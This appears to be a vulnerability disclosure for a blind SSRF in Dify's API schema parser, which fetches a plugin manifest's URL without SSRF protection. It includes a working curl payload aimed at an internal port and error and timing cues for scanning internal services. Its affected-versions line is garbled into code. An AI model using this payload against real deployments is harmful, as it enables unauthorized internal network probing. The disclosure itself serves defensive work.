### Vulnerability Overview **Title**: Blind Server-Side Request Forgery (SSRF) Bypass via OpenAI Plugin Manifest Parsing **Description**: A blind Server-Side Request Forgery (SSRF) vulnerability exists in the `ApiBasedToolSchemaParser` component of the Dify application. When parsing user-provided API schemas, if the input mimics an OpenAI plugin manifest (JSON), the parser automatically extracts the `api.url` field and performs a direct HTTP GET request to retrieve the referenced OpenAPI specification. This request is issued using `httpx.get` without applying the application’s internal SSRF protection (`ssrf_proxy`), allowing authenticated users to force the server to connect to arbitrary internal network resources. ### Impact Scope - **Affected Products**: - Ecosystem: PyPI / Docker - Package Name: langgenius/dify - Affected Versions: list[ApiToolBundle]: # ... try: openai_plugin = json.loads(json) api = openai_plugin["api"] api_url = api["url"] # [1] Attacker controlled URL api_type = api["type"] except JSONDecodeError: # ... # ... # [2] Vulnerability: Direct httpx.get request bypassing ssrf_proxy response = httpx.get( api_url, headers={"User-Agent": "Mozilla/5.0 ..."}, timeout=5 ) ``` ### Exploitation Code ```bash # 1. Log in to obtain cookie/token export TOKEN="YOUR_ACCESS_TOKEN" export COOKIE="ssrf_token=YOUR_CSRF_TOKEN; ..." # 2. Send payload curl -i -X POST "http://localhost/console/api/workspaces/current/tool-provider/api/schema" \ -H "Authorization: Bearer $TOKEN" \ -H "Cookie: $COOKIE" \ -H "X-CSRF-Token: YOUR_CSRF_TOKEN" \ -H "Content-Type: application/json" \ -d '{"schema": "{\"schema_version\":\"v1\",\"name_for_human\":\"SSRF Test\",\"name_for_model\":\"ssrf_test\",\"description_for_human\":\"Test\",\"description_for_model\":\"Test\",\"auth\": {\"type\": \"none\"}, \"api\": {\"type\": \"openapi\", \"url\": \"http://127.0.0.1:22\"}}"}' ``` ### Observations - **If port is closed/rejected**: The request quickly returns a 500 or 400 error involving `ConnectError`. - **If port is open (but does not return YAML)**: The request connects and eventually returns `ToolApiSchemaError` or `ToolProviderNotFoundError`. - **Time-based detection**: Response time differs significantly (up to 5 seconds) when targeting a non-responsive IP versus a responsive one. ### Impact - **SSRF Protection Bypass**: This vector bypasses UI-level URL validation or other import restrictions because the URL is embedded within the JSON payload. - **Internal Network Scanning**: Attackers can probe internal ports and services (based on timing or errors). - **Service Interaction**: May trigger GET operations on internal REST APIs that do not require a valid payload (since the parser disconnects after fetching). ### Weakness - **CWE**: CWE-918: Server-Side Request Forgery (SSRF) ### Occurrence - **Permanent Link**: [https://github.com/langgenius/dify/blob/main/api/core/tools/utils/parser.py#L364](https://github.com/langgenius/dify/blob/main/api/core/tools/utils/parser.py#L364) - **Description**: Vulnerable `httpx.get(api_url, ...)`